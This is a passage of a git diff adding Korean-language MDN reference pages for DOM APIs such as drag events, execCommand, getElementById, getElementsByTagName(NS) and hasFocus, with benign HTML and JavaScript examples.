+  // 드래그한 요소를 드롭 대상으로 이동
+  if (event.target.className == "dropzone") {
+    event.target.style.background = "";
+    dragged.parentNode.removeChild( dragged );
+    event.target.appendChild( dragged );
+  }
+}, false);
+ +

{{EmbedLiveSample('Examples', '300', '200', '')}}

+ +

사양

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drag event")}}{{Spec2("HTML WHATWG")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.drag_event")}}

+ +

더보기

+ + diff --git a/files/ko/web/api/document/dragend_event/index.html b/files/ko/web/api/document/dragend_event/index.html new file mode 100644 index 0000000000..3849f39274 --- /dev/null +++ b/files/ko/web/api/document/dragend_event/index.html @@ -0,0 +1,97 @@ +--- +title: 'Document: dragend event' +slug: Web/API/Document/dragend_event +tags: + - API + - DOM + - Document + - DragEvent + - Event + - Reference + - Web + - drag and drop + - dragend +translation_of: Web/API/Document/dragend_event +--- +
{{APIRef}}
+ +

dragend는 드래그 작업이 끝났을 때 발생합니다(마우스 버튼을 떼거나 ESC 키를 누른 경우).

+ + + + + + + + + + + + + + + + + + + + + + + + +
이벤트 버블링Yes
이벤트 취소No
기본 액션Varies
인터페이스{{domxref("DragEvent")}}
이벤트 핸들러 속성{{domxref("GlobalEventHandlers/ondragend", "ondragend")}}
+ +

예제

+ +

drag 이벤트의 예제 코드나 이 JSFiddle demo를 참고하세요.

+ +

{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragend")}}{{Spec2("HTML WHATWG")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.dragend_event")}}

+ +

더보기

+ + diff --git a/files/ko/web/api/document/dragstart_event/index.html b/files/ko/web/api/document/dragstart_event/index.html new file mode 100644 index 0000000000..ab3eb2adf2 --- /dev/null +++ b/files/ko/web/api/document/dragstart_event/index.html @@ -0,0 +1,90 @@ +--- +title: dragstart +slug: Web/API/Document/dragstart_event +tags: + - DOM + - Event + - Reference + - drag and drop +translation_of: Web/API/Document/dragstart_event +--- +
{{APIRef}}
+ +

dragstart 이벤트는 사용자가 요소나 선택한 텍스트를 드래그하기 시작할 때 발생합니다.

+ + + + + + + + + + + + + + + + + + + + + + + + +
버블링가능
취소가능
기본 액션드래그 앤 드랍 작업 초기화.
인터페이스{{domxref("DragEvent")}}
이벤트 처리기 속성{{domxref("GlobalEventHandlers/ondragstart", "ondragstart")}}
+ +

예제

+ +

드래그 이벤트의 예제를 참고하세요.

+ +

{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragstart")}}{{Spec2("HTML WHATWG")}} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.dragstart_event")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/embeds/index.html b/files/ko/web/api/document/embeds/index.html new file mode 100644 index 0000000000..776eccc0e7 --- /dev/null +++ b/files/ko/web/api/document/embeds/index.html @@ -0,0 +1,36 @@ +--- +title: Document.embeds +slug: Web/API/Document/embeds +tags: + - embeds +translation_of: Web/API/Document/embeds +--- +

{{ ApiRef() }}

+ +

Summary

+ +

embeds 는 현재 document 에 embed되어 있는 OBJECT 들의 list 를 반환합니다.

+ +

Syntax

+ +
nodeList = document.embeds
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}{{ Spec2('HTML WHATWG') }} 
diff --git a/files/ko/web/api/document/execcommand/index.html b/files/ko/web/api/document/execcommand/index.html new file mode 100644 index 0000000000..47ec3b3de2 --- /dev/null +++ b/files/ko/web/api/document/execcommand/index.html @@ -0,0 +1,157 @@ +--- +title: Document.execCommand() +slug: Web/API/Document/execCommand +translation_of: Web/API/Document/execCommand +--- +
{{ApiRef("DOM")}}
+ +

HTML 문서가 designMode로 전환되면 문서에서 execCommand 메서드를 사용할 수 있게 되는데 이것을 이용해서 문서의 편집 가능한 영역을 변경할 수 있습니다. 대부분의 명령어는 문서의 선택 영역에 영향(볼드, 이탤릭 등)을 미치고 나머지는 새 요소를 추가(링크 추가)하거나 전체 줄에 영향(들여쓰기)을 미칩니다. contentEditable을 사용할 때에 execCommand()를 호출하면 현재 활성화된 편집 요소에 영향을 미칩니다.

+ +

문법

+ +
bool = document.execCommand(aCommandName, aShowDefaultUI, aValueArgument)
+
+ +

반환값

+ +

명령어가 지원되지 않거나 활성화되어 있지 않으면 false {{jsxref('Boolean')}} 값을 반환합니다.

+ +

매개 변수

+ +
+
aCommandName
+
실행해야할 명령어 이름 {{domxref("DOMString")}}을 나타냅니다. 사용 가능한 명령어 목록은 {{anch("Commands")}}를 참고하세요.
+
aShowDefaultUI
+
기본 사용자 UI가 나타나야하는지를 보여주는 {{jsxref("Boolean")}} 값입니다. Mozilla에서는 구현되어 있지 않습니다.
+
aValueArgument
+
입력 변수가 필요한 명령어(insertImage와 같이 삽입할 이미지의 URL이 필요한)의 경우 이 {{domxref("DOMString")}}으로 정보를 전달합니다. 변수가 필요하지 않으면 null을 표기합니다.
+
+ +

명령어

+ +
+
backColor
+
문서의 배경색을 변경합니다. styleWithCss 모드에서는 대신 상위 요소의 배경색에 영향을 미칩니다. 변수 값으로 {{cssxref("<color>")}} 값을 넘겨야 합니다. Internet Explorer는 이 명령어를 텍스트 배경색을 변경하는데 사용합니다.
+
bold
+
선택 영역이나 입력 위치에 볼드를 온/오프합니다. Internet Explorer는 {{HTMLElement("b")}} 대신 {{HTMLElement("strong")}} 태그를 사용합니다.
+
contentReadOnly
+
내용 문서를 읽기 전용으로 하거나 편집 가능하게 합니다. boolean true/false 값을 변수로 넘겨주어야 합니다. (Internet Explorer는 지원하지 않습니다.)
+
copy
+
클립보드에 현재 선택 영역의 내용을 복사합니다. 브라우저마다 이 기능이 활성화되는 조건이 다르고 계속해서 변경됩니다. 상황에 따라서 이 기능을 사용할 수 있을지 호환성 표를 참고하세요.
+
createLink
+
선택 영역이 있을 때 선택 영역에 링크 요소를 만듭니다. 변수 값으로 HREF URI 문자열이 필요합니다. URI는 최소 한글자 이상이어야 하고 공백문자여도 됩니다. (Internet Explorer는 null URI 값으로 링크를 생성합니다.)
+
cut
+
현재 선택 영역을 잘라내어서 클립보드에 복사합니다. 브라우저마다 이 기능이 활성화되는 조건이 다르고 계속해서 변경됩니다. 상황에 따라서 이 기능을 사용할 수 있을지 호환성 표를 참고하세요.
+
decreaseFontSize
+
선택 영역이나 입력 위치에 {{HTMLElement("small")}} 태그를 추가합니다. (Internet Explorer는 지원하지 않습니다.)
+
delete
+
현재 선택 영역을 지웁니다.
+
enableInlineTableEditing
+
표의 행과 열을 추가 삭제하는 명령 도구를 활성화하거나 비활성화합니다. (Internet Explorer는 지원하지 않습니다.)
+
enableObjectResizing
+
이미지나 다른 크기 조정이 가능한 객체의 크기 조정 도구를 활성화하거나 비활성화합니다.
+
fontName
+
선택 영역이나 입력 위치의 서체 이름을 변경합니다. 변수 값으로 서체 이름 문자열(예를 드러 "Arial")을 넘겨야 합니다.
+
fontSize
+
선택 영역이나 입력 위치의 서체 크기를 변경합니다. 변수 값으로 HTML 서체 크기(1-7)을 넘겨야 합니다.
+
foreColor
+
선택 영역이나 입력 위치의 서체 색상을 변경합니다. 변수 값으로 색상 값 문자열을 넘겨야 합니다.
+
formatBlock
+
현재 선택 영역이 있는 줄을 포함하는 HTML 요소를 추가하고 줄을 포함하는 요소가 있을 경우 요소을 변경합니다(Firefox에서는 BLOCKQUOTE가 예외적으로 상위 요소를 감쌉니다). 변수 값으로 태그 이름 문자열을 넘겨야 합니다. 실질적으로 모든 블록 요소를 사용할 수 있습니다(예 "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer는 제목 태그  H1 - H6와 ADDRESS, PRE만 지원하고 태그 구분자 < >를 써서 "<H1>"와 같이 사용해야 합니다.)
+
forwardDelete
+
커서 위치 앞의 글자를 지웁니다. delete 키를 누른 것과 동일합니다.
+
heading
+
선택 영역이나 입력 위치 줄에 제목 태그를 추가합니다. 변수 값으로 제목 이름 문자열(예 "H1", "H6")을 넘겨야 합니다. (Internet Explorer와 Safari는 지원하지 않습니다.)
+
hiliteColor
+
선택 영역이나 입력 위치의 배경 색상을 변경합니다. 변수 값으로 생상 값 문자열을 넘겨야 합니다. 이 함수는 UseCSS가 반드시 켜져 있어야 합니다. (Internet Explorer는 지원하지 않습니다.)
+
increaseFontSize
+
선택 영역이나 입력 위치에 BIG 태그를 추가합니다. (Internet Explorer는 지원하지 않습니다.)
+
indent
+
선택 영역이나 입력 위치를 포함하는 줄을 들여쓰기 합니다. Firefox에서는 선택 영역이 여러줄에 걸처 서로 다른 들여쓰기 값을 가지고 있으면 제일 조금 들여쓰기된 줄만 들여쓰기가 됩니다.
+
insertBrOnReturn
+
엔터키를 눌렀을 때 br 태그를 넣을지 현재의 블록 요소를 두개로 나줄지 제어합니다. (Internet Explorer는 지원하지 않습니다.)
+
insertHorizontalRule
+
입력 위치에 가로줄을 넣습니다(선택 영역은 지워집니다).
+
insertHTML
+
입력 위치에 HTML 문자열을 넣습니다(선택 영역을 지워집니다). 변수 값으로 유효한 HTML 문자열을 넘겨야 합니다. (Internet Explorer는 지원하지 않습니다.)
+
insertImage
+
입력 위치에 이미지를 넣습니다(선택 영역을 지워집니다). 변수 값으로 이미지의 SRC URI 문자열을 넘겨야 합니다. URI는 최소 한글자 이상이어야 하고 공백문자여도 됩니다. (Internet Explorer는 null URI 값으로 링크를 생성합니다.)
+
insertOrderedList
+
선택 영역이나 입력 위치에 번호 순서가 있는 목록을 넣습니다.
+
insertUnorderedList
+
선택 영역이나 입력 위치에 번호 순서가 없는 목록을 넣습니다.
+
insertParagraph
+
선택 영역이나 현재 줄에 문단 태그를 추가합니다. (Internet Explorer는 입력 위치에 문단을 삽입하고 선택 영역은 삭제합니다.)
+
insertText
+
입력 위치에 지정된 텍스트를 입력합니다(선택 영역은 지워집니다).
+
italic
+
선택 영역이나 입력 위치에 이탤릭을 온/오프합니다. (Internet Explorer는 I 대신 EM 태그를 사용합니다.)
+
justifyCenter
+
선택 영역이나 입력 위치를 가운데 정렬합니다.
+
justifyFull
+
선택 영역이나 입력 위치를 양쪽 정렬합니다.
+
justifyLeft
+
선택 영역이나 입력 위치를 좌측 정렬합니다.
+
justifyRight
+
선택 영역이나 입력 위치를 우측 정렬합니다.
+
outdent
+
선택 영역이나 입력 위치의 줄을 내어쓰기 합니다.
+
paste
+
입력 위치에 클립보드의 내용을 붙여넣기 합니다(현재의 선택 영역을 교체합니다). user.js 설정 파일에서 클립보드가 활성화 되어 있어야 합니다. 참고 [1].
+
redo
+
이전에 실행 취소된 명령을 다시 실행합니다.
+
removeFormat
+
현재 선택 영역의 모든 문서 형식을 제거합니다.
+
selectAll
+
편집 가능 영역의 모든 내용을 선택합니다.
+
strikeThrough
+
선택 영역이나 입력 위치의 가로줄을 온/오프 합니다.
+
subscript
+
선택 영역이나 입력 위치의 아랫첨자를 온/오프 합니다.
+
superscript
+
선택 영역이나 입력 위치의 윗첨자를 온/오프 합니다.
+
underline
+
선택 영역이나 입력 위치의 밑줄을 온/오프 합니다.
+
undo
+
직전에 실행된 명령을 취소합니다.
+
unlink
+
선택된 링크에서 링크 태그를 제거합니다.
+
useCSS {{Deprecated_inline}}
+
생성된 마크업의 HTML 태그나 CSS 사용을 토글합니다. 변수 값으로 boolean true/false 값을 넘겨야 합니다. 주의: 이 값은 논리적으로 반대입니다(CSS를 사용하기 위해서는 false를 HTML을 사용하기 위해서는 true). (Internet Explorer는 지원하지 않습니다.) 이 명령은 더이상 사용하지 않습니다. 대신 styleWithCSS 명령어를 사용하세요.
+
styleWithCSS
+
useCSS 명령어를 대체합니다. 변수 값은 예상한대로 작동합니다. 예를 들어서 마크업에서 style 속성을 수정하거나 생성하려면 true를, false는 포매팅 요소를 생성합니다.
+
+ +

예제

+ +

CodePen의 how to use를 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing', '#execcommand()', 'execCommand')}}{{Spec2('HTML Editing')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Document.execCommand")}}

+ +

참고

+ + diff --git a/files/ko/web/api/document/forms/index.html b/files/ko/web/api/document/forms/index.html new file mode 100644 index 0000000000..675110bb47 --- /dev/null +++ b/files/ko/web/api/document/forms/index.html @@ -0,0 +1,77 @@ +--- +title: Document.forms +slug: Web/API/Document/forms +tags: + - Forms +translation_of: Web/API/Document/forms +--- +
{{APIRef("DOM")}}
+ +

forms는 현재 document에 존재하는 {{HTMLElement("form")}} element 들이 담긴 collection (an {{domxref("HTMLCollection")}})을 반환합니다.

+ +

Syntax

+ +
collection = document.forms;
+ +

Example: Getting form information

+ +
<!DOCTYPE html>
+<html lang="en">
+
+<head>
+<title>document.forms example</title>
+</head>
+
+<body>
+
+<form id="robby">
+  <input type="button" onclick="alert(document.forms[0].id);" value="robby's form" />
+</form>
+
+<form id="dave">
+  <input type="button" onclick="alert(document.forms[1].id);" value="dave's form" />
+</form>
+
+<form id="paul">
+  <input type="button" onclick="alert(document.forms[2].id);" value="paul's form" />
+</form>
+
+</body>
+</html>
+
+ +

Example 2:Getting an element from within a form

+ +
var selectForm = document.forms[index];
+var selectFormElement = document.forms[index].elements[index];
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}{{ Spec2('HTML WHATWG') }} 
{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}{{ Spec2('DOM2 Events') }}Initial definition.
+ +

See also

+ + diff --git a/files/ko/web/api/document/getelementbyid/index.html b/files/ko/web/api/document/getelementbyid/index.html new file mode 100644 index 0000000000..ff66b88d8b --- /dev/null +++ b/files/ko/web/api/document/getelementbyid/index.html @@ -0,0 +1,152 @@ +--- +title: Document.getElementById() +slug: Web/API/Document/getElementById +tags: + - API + - DOM + - Document + - Elements + - Method + - Reference + - Web +translation_of: Web/API/Document/getElementById +--- +
{{ ApiRef("DOM") }}
+ +

Document.getElementById() 메서드는 주어진 문자열과 일치하는 {{domxref("Element.id", "id")}} 속성을 가진 요소를 찾고, 이를 나타내는 {{domxref("Element")}} 객체를 반환합니다. ID는 문서 내에서 유일해야 하기 때문에 특정 요소를 빠르게 찾을 때 유용합니다.

+ +

ID가 없는 요소에 접근하려면 {{domxref("Document.querySelector()")}}를 사용하세요. 모든 {{Glossary("CSS selector", "선택자")}}를 사용할 수 있습니다.

+ +

구문

+ +
document.getElementById(id);
+
+ +

매개변수

+ +
+
id
+
찾으려는 요소 ID. ID는 대소문자를 구분하는 문자열로, 문서 내에서 유일해야 합니다. 즉, 하나의 값은 하나의 요소만 사용할 수 있습니다.
+
+ +

반환 값

+ +

주어진 ID와 일치하는 DOM 요소를 나타내는 {{domxref("Element")}} 객체. 문서 내에 주어진 ID가 없으면 null.

+ +

예제

+ +

HTML

+ +
<html>
+<head>
+  <title>getElementById 예제</title>
+</head>
+<body>
+  <p id="para">어떤 글</p>
+  <button onclick="changeColor('blue');">blue</button>
+  <button onclick="changeColor('red');">red</button>
+</body>
+</html>
+
+ +

JavaScript

+ +
function changeColor(newColor) {
+  var elem = document.getElementById('para');
+  elem.style.color = newColor;
+}
+
+ +

결과

+ +

{{ EmbedLiveSample('예제', 250, 100) }}

+ +

용법

+ +

메서드 이름 중 "Id"의 대소문자가 정확해야 합니다. getElementByID()가 자연스러워 보일지라도 유효하지 않은 이름이기에 사용할 수 없습니다.

+ +

{{domxref("Document.querySelector()")}}나 {{domxref("Document.querySelectorAll()")}}과는 달리 getElementById()는 전역 document 객체의 메서드로만 사용할 수 있고, DOM의 다른 객체는 메서드로 가지고 있지 않습니다. ID 값은 문서 전체에서 유일해야 하며 "국지적"인 버전을 쓸 이유가 없기 때문입니다.

+ +

예제

+ +
<!doctype html>
+<html>
+<head>
+    <meta charset="UTF-8">
+    <title>Document</title>
+</head>
+<body>
+    <div id="parent-id">
+        <p>hello word1</p>
+        <p id="test1">hello word2</p>
+        <p>hello word3</p>
+        <p>hello word4</p>
+    </div>
+    <script>
+        var parentDOM = document.getElementById('parent-id');
+        var test1=parentDOM.getElementById('test1');
+        //throw error
+        //Uncaught TypeError: parentDOM.getElementById is not a function
+    </script>
+</body>
+</html>
+
+ +

id에 맞는 요소가 없을 때 getElementById()null을 반환합니다. 매개변수 id가 대소문자를 구분한다는 점을 기억하세요. document.getElementById("Main")<div id="main"> 대신 null을 반환하는데 "M"과 "m"을 구분하기 때문입니다.

+ +

문서에 없는 요소getElementById()가 팀색하지 않습니다. 요소를 동적으로 생성해서 ID를 부여하더라도, {{domxref("Node.insertBefore()")}}나 비슷한 메서드로 문서 트리에 삽입해야 getElementById()로 접근할 수 있습니다.

+ +
var element = document.createElement('div');
+element.id = 'testqq';
+var el = document.getElementById('testqq'); // el이 null!
+
+ +

HTML이 아닌 문서. DOM 구현체는 요소의 어떤 속성이 ID인지 알고 있어야 합니다. 문서의 DTD가 정의하고 있지 않으면, 속성명이 "id"라고 해도 ID 유형인건 아닙니다. XHTML, XUL 등 자주 쓰이는 문서의 경우 id 속성을 ID 유형으로 정의하고 있습니다. ID 유형의 속성이 어떤 것인지 모르는 다른 구현의 경우 null을 반환합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}{{Spec2('DOM1')}}Initial definition for the interface
{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM2 Core')}}Supersede DOM 1
{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM3 Core')}}Supersede DOM 2
{{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}}{{Spec2('DOM WHATWG')}}Intend to supersede DOM 3
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.getElementById")}}

+ +

같이 보기

+ + + +

 

diff --git a/files/ko/web/api/document/getelementsbytagname/index.html b/files/ko/web/api/document/getelementsbytagname/index.html new file mode 100644 index 0000000000..1d2284b02a --- /dev/null +++ b/files/ko/web/api/document/getelementsbytagname/index.html @@ -0,0 +1,117 @@ +--- +title: Document.getElementsByTagName() +slug: Web/API/Document/getElementsByTagName +tags: + - API + - DOM + - 레퍼런스 + - 메소드 +translation_of: Web/API/Document/getElementsByTagName +--- +
{{ ApiRef("DOM") }}
+{{domxref("Document")}} 인터페이스의 getElementsByTagName 메소드는 엘리먼트의 {{domxref("HTMLCollection")}} 과 주어진 태그명을 반환합니다. 루트 노드를 포함해 전체 다큐먼트를 대상으로 검색됩니다. 반환된 HTMLCollection 은 살아있는데, 이는 document.getElementsByTagName() 을 다시 호출하지 않아도 자동으로 업데이트하여 DOM 트리와 동기화된 상태를 유지함을 의미합니다.
+ +

구문

+ +
var elements = document.getElementsByTagName(name);
+ + + +
최신 W3C 명세에서는 elements 가 HTMLCollection 라고 하지만, WebKit 브라우저에서는 {{domxref("NodeList")}} 를 반환합니다. 자세한 내용은 {{bug(14869)}} 버그를 확인하시기 바랍니다.
+ +

예시

+ +

다음 예시에서, getElementsByTagName() 는 특정 부모 엘리먼트에서 시작해 그 부모 엘리먼트의 DOM 을 거쳐 위에서 아래로 재귀 탐색을하고, 태그 name 파라미터에 일치하는 모든 자손 엘리먼트의 집합을 생성합니다. 여기에서는 document.getElementsByTagName() 과 기능적으로 동일하며 DOM 트리의 특정 엘리먼트를 시작으로하여 탐색하는 {{domxref("Element.getElementsByTagName()")}} 모두를 시연합니다.

+ +

버튼 클릭은 getElementsByTagName() 을 사용해 특정 부모의 자손 문단(p) 엘리먼트를 셉니다(다큐먼트 자체 또는 중첩된 {{HTMLElement("div")}} 엘리먼트 중 하나).

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="UTF-8" />
+  <title>getElementsByTagName example</title>
+  <script>
+    function getAllParaElems() {
+      var allParas = document.getElementsByTagName('p');
+      var num = allParas.length;
+      alert('There are ' + num + ' paragraph in this document');
+    }
+
+    function div1ParaElems() {
+      var div1 = document.getElementById('div1');
+      var div1Paras = div1.getElementsByTagName('p');
+      var num = div1Paras.length;
+      alert('There are ' + num + ' paragraph in #div1');
+    }
+
+    function div2ParaElems() {
+      var div2 = document.getElementById('div2');
+      var div2Paras = div2.getElementsByTagName('p');
+      var num = div2Paras.length;
+      alert('There are ' + num + ' paragraph in #div2');
+    }
+  </script>
+</head>
+<body style="border: solid green 3px">
+  <p>Some outer text</p>
+  <p>Some outer text</p>
+
+  <div id="div1" style="border: solid blue 3px">
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+
+    <div id="div2" style="border: solid red 3px">
+      <p>Some div2 text</p>
+      <p>Some div2 text</p>
+    </div>
+  </div>
+
+  <p>Some outer text</p>
+  <p>Some outer text</p>
+
+  <button onclick="getAllParaElems();">
+    show all p elements in document</button><br />
+
+  <button onclick="div1ParaElems();">
+    show all p elements in div1 element</button><br />
+
+  <button onclick="div2ParaElems();">
+    show all p elements in div2 element</button>
+
+</body>
+</html>
+
+ +

노트

+ +

HTML 다큐먼트에서 호출될 때, getElementsByTagName() 은 처리전에 인수를 소문자로 변환합니다. 이는 HTML 다큐먼트의 하위 트리에 속한 낙타 표기법의 SVG 엘리먼트를 찾으려할 때 바람직하지 않습니다. 그런 경우에는 {{Domxref("document.getElementsByTagNameNS()")}} 가 유용합니다.{{Bug(499656)}} 버그도 확인하시기 바랍니다.

+ +

document.getElementsByTagName() 은 전체 다큐먼트를 포함하여 탐색한다는 점만 제외하고 {{domxref("Element.getElementsByTagName()")}} 와 유사합니다.

+ +

명세

+ + + +

브라우저 호환성

+ + + +

{{Compat("api.Document.getElementsByTagName")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/document/getelementsbytagnamens/index.html b/files/ko/web/api/document/getelementsbytagnamens/index.html new file mode 100644 index 0000000000..77c5001581 --- /dev/null +++ b/files/ko/web/api/document/getelementsbytagnamens/index.html @@ -0,0 +1,149 @@ +--- +title: Document.getElementsByTagNameNS() +slug: Web/API/Document/getElementsByTagNameNS +tags: + - API + - DOM + - NeedsMarkupWork + - NeedsSpecTable + - getElementsByTagNameNS + - 레퍼런스 + - 메소드 +translation_of: Web/API/Document/getElementsByTagNameNS +--- +
{{APIRef("DOM")}}
+ +

주어진 네임스페이스에 속하는 태그명을 갖는 엘리먼트의 목록을 반환합니다. 루트 노드를 포함해 전체 다큐먼트를 대상으로 탐색합니다.

+ +

구문

+ +
elements = document.getElementsByTagNameNS(namespace, name)
+
+ + + +

노트: W3C 명세는 elementsNodeList 라고 하였지만, Gecko 와 Internet Explorer 에서는 {{DOMxRef("HTMLCollection")}} 을 반환합니다. Opera 는NodeList 를 반환하지만 namedItem 메소드를 구현해 HTMLCollection 과 유사하게 만듭니다. 2012 년 1월 기준으로, WebKit 브라우저만 순수한 NodeList 를 반환합니다. 자세한 내용은 bug 14869 를 확인하세요.

+ +

노트: 현재 이 메소드의 파라미터는 대소문자를 구분하지만, Firefox 3.5 와 그 이전에는 그렇지 않았습니다. 자세한 내용은 Firefox 3.6 개발자 릴리즈 노트와 {{domxref("Element.getElementsByTagNameNS")}} 의 브라우저 호환성 섹션을 확인하세요.

+ +

예시

+ +

다음 예시에서 getElementsByTagNameNS 는 특정 부모 노트로부터 시작하고 위에서 아래로 해당 DOM 의 부모노드를 재귀적으로 탐색하여 태그 name 파라미터에 일치하는 자식 엘리먼트를 찾습니다.

+ +

getElementByTagName 이 실행된 노드가 document 노드가 아닐 때, {{domxref("element.getElementsByTagNameNS")}} 메소드가 사용됨을 유의하세요.

+ +

다음 예시를 사용하려면, .xhtml 확장의 새 파일로 복사/붙여넣기 하세요.

+ +
<html xmlns="http://www.w3.org/1999/xhtml">
+
+<head>
+<title>getElementsByTagNameNS example</title>
+
+<script type="text/javascript">
+
+function getAllParaElems()
+{
+  var allParas = document.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = allParas.length;
+
+  alert("There are " + num + " &lt;p&gt; elements in this document");
+}
+
+
+function div1ParaElems()
+{
+  var div1 = document.getElementById("div1")
+  var div1Paras = div1.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = div1Paras.length;
+
+  alert("There are " + num + " &lt;p&gt; elements in div1 element");
+}
+
+
+function div2ParaElems()
+{
+  var div2 = document.getElementById("div2")
+  var div2Paras = div2.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = div2Paras.length;
+
+  alert("There are " + num + " &lt;p&gt; elements in div2 element");
+}
+
+</script>
+</head>
+
+<body style="border: solid green 3px">
+<p>Some outer text</p>
+<p>Some outer text</p>
+
+  <div id="div1" style="border: solid blue 3px">
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+
+    <div id="div2" style="border: solid red 3px">
+    <p>Some div2 text</p>
+    <p>Some div2 text</p>
+    </div>
+  </div>
+
+<p>Some outer text</p>
+<p>Some outer text</p>
+
+<button onclick="getAllParaElems();">
+ show all p elements in document</button><br />
+
+<button onclick="div1ParaElems();">
+ show all p elements in div1 element</button><br />
+
+<button onclick="div2ParaElems();">
+ show all p elements in div2 element</button>
+
+</body>
+</html>
+
+ +

지원하지 않는 다른 브라우저를 위한 잠재적인 대안

+ +

원하는 브라우저가 XPath 를 지원하지 않는다면, 원하는 로컬명과 네임스페이스를 갖는 모든 태그를 찾기 위한 다른 접근법(모든 자식을 거쳐 DOM 을 횡단, 모든 @xmlns 인스턴스 식별 등)이 필요하지만, XPath 가 훨씬 빠릅니다(Explorer 에 적용하려면, 아래의 함수에서 XPath 대신 이 래퍼 클래스같은 XPath 래퍼를 호출할 수 있습니다(Explorer 는 다른 API 로 XPath 를 지원합니다).)

+ +
function getElementsByTagNameNSWrapper (ns, elName, doc, context) {
+ if (!doc) {
+  doc = document;
+ }
+ if (!context) {
+  context = doc;
+ }
+
+ var result = doc.evaluate('//*[local-name()="'+elName+'" and namespace-uri() = "'+ns+'"]', context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
+
+        var a = [];
+        for(var i = 0; i < result.snapshotLength; i++) {
+            a[i] = result.snapshotItem(i);
+        }
+        return a;
+}
+
+ +

명세

+ +

DOM Level 2 Core: Document.getElementsByTagNameNS

+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.getElementsByTagNameNS")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/document/getselection/index.html b/files/ko/web/api/document/getselection/index.html new file mode 100644 index 0000000000..40ec764f1e --- /dev/null +++ b/files/ko/web/api/document/getselection/index.html @@ -0,0 +1,8 @@ +--- +title: Document.getSelection() +slug: Web/API/Document/getSelection +translation_of: Web/API/DocumentOrShadowRoot/getSelection +--- +

{{APIRef("DOM")}}

+ +

이 메소드는 {{domxref("Window.getSelection()")}} 와 동일합니다. 이 메소드는 {{domxref("Selection")}} 형의 객체를 반환하는데, 이 객체는 현재 페이지에서 선택된 영역의 정보를 반영합니다.

diff --git a/files/ko/web/api/document/hasfocus/index.html b/files/ko/web/api/document/hasfocus/index.html new file mode 100644 index 0000000000..b41818b736 --- /dev/null +++ b/files/ko/web/api/document/hasfocus/index.html @@ -0,0 +1,101 @@ +--- +title: Document.hasFocus() +slug: Web/API/Document/hasFocus +tags: + - API + - DOM + - Focus + - Method + - Reference +translation_of: Web/API/Document/hasFocus +--- +

{{ ApiRef("DOM") }}

+ +

Document.hasFocus() 메소드는 문서 또는 문서 내의 요소(element) 중 어느 하나라도 포커스(focus)를 갖고 있으면 true, 그렇지 않으면 false인 {{jsxref("Boolean")}} 값을 반환한다. 이 메소드를 사용하여 문서내 활성화된(active) 요소가 포커스를 갖고 있는지 판단할 수 있다.

+ +
+

문서를 볼 때, 포커스를 가진 요소는 언제나 문서상의 활성화된 요소이다. 반면에 활성화된 요소는 꼭 포커스를 갖지 않을 수 도 있다. 예를 들면 전면에 나와있지 않은(not a foreground) 팝업창 내의 활성화된 요소는 포커스를 갖고 있지 않다.

+
+ +

구문

+ +
focused = document.hasFocus();
+ +

반환 값

+ +

문서 내의 활성화된 요소가 포커스를 갖고 있지 않으면 false를 반환, 포커스를 갖고 있다면 true를 반환

+ +

예제

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="UTF-8" />
+<title>TEST</title>
+<style>
+#message { font-weight: bold; }
+</style>
+
+<script>
+
+setInterval( CheckPageFocus, 200 );
+
+function CheckPageFocus() {
+  var info = document.getElementById("message");
+
+  if ( document.hasFocus() ) {
+    info.innerHTML = "The document has the focus.";
+  } else {
+    info.innerHTML = "The document doesn't have the focus.";
+  }
+}
+
+function OpenWindow() {
+  window.open (
+    "http://developer.mozilla.org/",
+    "mozdev",
+    width=640,
+    height=300,
+    left=150,
+    top=260
+  );
+}
+
+</script>
+</head>
+
+<body>
+  <h1>JavaScript hasFocus example</h1>
+  <div id="message">Waiting for user action</div>
+  <div><button onclick="OpenWindow()">Open a new window</button></div>
+</body>
+</html>
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#dom-document-hasfocus', 'Document.hasFocus()')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Document.hasFocus")}}

+ +

관련 참고

